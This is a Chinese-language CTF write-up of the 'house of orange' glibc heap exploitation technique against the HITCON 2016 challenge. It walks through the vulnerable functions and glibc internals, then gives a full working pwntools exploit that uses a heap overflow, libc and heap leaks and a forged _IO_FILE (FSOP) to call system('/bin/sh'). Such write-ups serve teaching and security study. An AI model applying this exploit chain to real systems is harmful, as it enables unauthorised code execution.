前言
house of 系列是glibc高级堆漏洞利用的一系列技术
从house of orange等开始, 发展至今已有20多种house of 漏洞利用方法, 并且未来还会有更多
现在先研究研究house of orange, 另外今后也会出一个house of 系列blogs
CTFhub和BUUCTF的题目有差别, 就按BUU来打吧
分析过程
houseoforange_hitcon_2016$ file houseoforange_hitcon_2016;checksec houseoforange_hitcon_2016
houseoforange_hitcon_2016: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
[*] '/home/pwn/桌面/houseoforange_hitcon_2016/houseoforange_hitcon_2016'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开
add函数, 会输入price, name, color, 有add次数限制, 只能add 4次
int add()
{
unsigned int size; // [rsp+8h] [rbp-18h]
int color; // [rsp+Ch] [rbp-14h]
void *struct_price_name; // [rsp+10h] [rbp-10h]
_DWORD *price_color; // [rsp+18h] [rbp-8h]
if ( cnt > 3u )
{
puts("Too many house");
exit(1);
}
struct_price_name = malloc(0x10uLL);
printf("Length of name :");
size = readin();
if ( size > 0x1000 ) // size <= 4096
size = 4096;
*(struct_price_name + 1) = malloc(size);
if ( !*(struct_price_name + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
read_name(*(struct_price_name + 1), size); // v3[1] = char* name
price_color = calloc(1uLL, 8uLL);
printf("Price of Orange:");
*price_color = readin();
print_color();
printf("Color of Orange:");
color = readin();
if ( color != 56746 && (color <= 0 || color > 7) )
{
puts("No such color");
exit(1);
}
if ( color == 56746 )
price_color[1] = 56746;
else
price_color[1] = color + 30; // color = 56746 or 31 ~ 37
*struct_price_name = price_color;
structs = struct_price_name;
++cnt;
return puts("Finish");
}
show函数有两种输出模式, color在31到37之间是正常, 56746是特殊模式
int sub_EE6()
{
int v0; // eax
int v2; // eax
if ( !structs )
return puts("No such house !");
if ( *(*structs + 4LL) == 56746 ) // color == 56746 will printf \x1B[01;38;5;214m%s\x1B[0m\n
{
printf("Name of house : %s\n", structs[1]);
printf("Price of orange : %d\n", **structs);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *(&initials + v0 % 8));
}
else
{
if ( *(*structs + 4LL) <= 30 || *(*structs + 4LL) > 37 )// color can not beyond 31 and 37
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", structs[1]);
printf("Price of orange : %d\n", **structs);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(*structs + 4LL), *(&initials + v2 % 8));// color in [31, 37] will printf \x1B[01;38;5;214m%s\x1B[0m\n
}
}
upgrade函数, 则是edit的功能, 重复add的逻辑, 并且跟add一样又次数限制, upgrade_cnt > 2则不能继续执行, 所以总共可以upgrade 3次
int upgrade()
{
_DWORD *v1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]
if ( upgrade_cnt > 2u )
return puts("You can't upgrade more");
if ( !structs )
return puts("No such house !");
printf("Length of name :");
v2 = readin();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
read_name(structs[1], v2);
printf("Price of Orange: ");
v1 = *structs;
*v1 = readin();
print_color();
printf("Color of Orange: ");
v3 = readin();
if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 56746 )
*(*structs + 4LL) = 56746;
else
*(*structs + 4LL) = v3 + 30;
++upgrade_cnt;
return puts("Finish");
}
第一个漏洞, 因为upgrade的时候不会检测当前输入的size和之前的size是否一致, 所以可以堆溢出到邻近的chunk
更深一层继续分析
ssize_t __fastcall sub_C20(void *a1, unsigned int a2)
{
ssize_t result; // rax
result = read(0, a1, a2);
if ( result <= 0 )
{
puts("read error");
exit(1);
}
return result;
}
第二个漏洞
发现读取name的read函数是直接调用的read(), 那么输入可以不以'\0'
结尾, 就有机会泄露指针等信息
漏洞利用
总的来说就是逻辑漏洞, 一个read()可以泄露信息, 一个堆溢出可以覆盖, 并且这个程序时没有delete的, 所以只能用house of orange构造free的chunk
原理很简单, 当top chunk的size小于准备申请的chunk时, 会被放进unsorted bin, 可以完成无free的free操作
可以读一读malloc.c的源码(2.23版本)
...
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
...
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
当top chunk不够时, 会调用sysmalloc()
free掉old top chunk, 然后brk()
分配空间, 但是也要注意关于top chunk size的检测机制
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
总结起来是4点
(1 (unsigned long) (old_size) >= MINSIZE old size必须比最小的大
(2 设置好的prev_insue位
(3 页对齐(page aligned)
(4 (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 即保证新申请的size大于old size + MINSIZE
另外一个需要的知识点, 文件描述符结构体_IO_FIEL_plus
及其对应的链表_IO_list_all
通过阅读源码, 可知触发错误时malloc()的调用链:
malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp()
...
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
...
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
...
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
}
...
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
}
...
#include <libio/libioP.h>
#define fflush(s) _IO_flush_all_lockp (0)
...
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
从_IO_list_all
开始, _IO_flush_all_lockp()
遍历链表并对每个条目执行一些检查. 如果一个条目通过了所有的检查, _IO_OVERFLOW
会从虚表中调用_IO_new_file_overflow()
所以利用思路就在于, 劫持虚表的_IO_new_file_overflow()
函数
虽然可以劫持_IO_list_all
到main_arena+88
, 但是不能完全伪造_IO_2_1_stderr_
的内容, 所以还得实现间接劫持
先看看_IO_FILE
结构体的各个偏移
_IO_FILE_plus = {
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
其中_chain
会给_IO_new_file_overflow
提供链表的下一个入口地址(指向_IO_2_1_stdout_
), 那么利用思路就可以采取劫持FILE结构体的_chain
域, 指向伪造的_IO_2_1_stdout_
块
而调试时会发现, &((struct _IO_FILE *)_IO_list_all)->_chain
地址同于main_arena.bins[11]
, 所以为了控制_chain
, 就需要控制main_arena.bins[11]
而源码中mchunkptr bins[NBINS * 2 - 2];
(bins[2*N - 2] 和 bins[2 * N - 1]分别对应链表头和链表尾指针), 则arena.bins[11]
(N == 5) 包含small bin 0x60 chunk链的尾指针
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
结合这点, 伪造_IO_2_1_stdout_
块时把bk设为0x60, 再malloc()即可把块地址写到arena.bins[11]
另外关于_IO_str_jumps
不是导出符号, 所以不能直接libc.sym[’’]查找, 这里可以调试确定, 也可以IDA定位_IO_str_jumps
后的jumps表, 这里采用第三种方法, pwntools 脚本(本质是自动化调试确定的过程)
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break
当然也可以通过leak heap来定位vtable, 这是另一种形式的伪造方法
整体exp
from pwn import *
url, port = "node4.buuoj.cn", 25600
filename = "./houseoforange_hitcon_2016"
elf = ELF(filename)
# libc = ELF('./libc-2.23.so') # local
libc = ELF("./libc64-2.23.so") # remote
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def build(length, name, price, color):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Length of name :", str(length))
io.sendafter("Name :", name)
io.sendlineafter("Price of Orange:", str(price))
io.sendlineafter("Color of Orange:", str(color))
def upgrade(length, name, price, color):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Length of name :", str(length))
io.sendafter("Name:", name)
io.sendlineafter("Price of Orange: ", str(price))
io.sendlineafter("Color of Orange:", str(color))
def pwn():
build(0x30, 'ffff\n', 233, 56746) # chunk0
# heap overflow to overwrite top chunk size
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(56746)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 56746) # size must be page aligned
# sysmalloc() free the old top chunk into unsorted bin
build(0x1000, 'f\n', 233, 56746) # chunk1
build(0x400, 'f'*8, 666, 2) # chunk2
# leak libc
io.sendlineafter("Your choice :", "2")
io.recvuntil('f'*8)
malloc_hook = u64(io.recvuntil('\x7f').ljust(8, b'\x00')) - 0x678
lf('malloc_hook', malloc_hook)
libc.address = malloc_hook - libc.sym['__malloc_hook']
lf('libc base address', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
lf('_IO_list_all', _IO_list_all)
lf('system_addr', system_addr)
# leak heap
upgrade(0x10, 'f'*0x10, 666, 2)
io.sendlineafter("Your choice :", "2")
io.recvuntil('f'*0x10)
heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
lf('heap_base', heap_base)
# FSOP
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
orange += p64(0) + p64(1)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)
payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(56746)
payload += p64(0) + orange
upgrade(len(payload), payload, 233, 56746)
io.sendlineafter('Your choice : ', '1')
if __name__ == "__main__":
pwn()
io.interactive()
总结
house of orange总体来说涉及的底层知识很多
逻辑漏洞 + 堆溢出 + unsorted bin attack 泄露libc (+ 泄露 heap) + 劫持_IO_list_all + FSOP
只能说想出这个漏洞利用链的人真的把glibc源码给吃透了, glibc源码就跟家一样熟才能达到如此超凡脱俗的境界叭
我前后打了8h真的太顶了, 以后还是得多读读源码, 代码能力太弱了qaq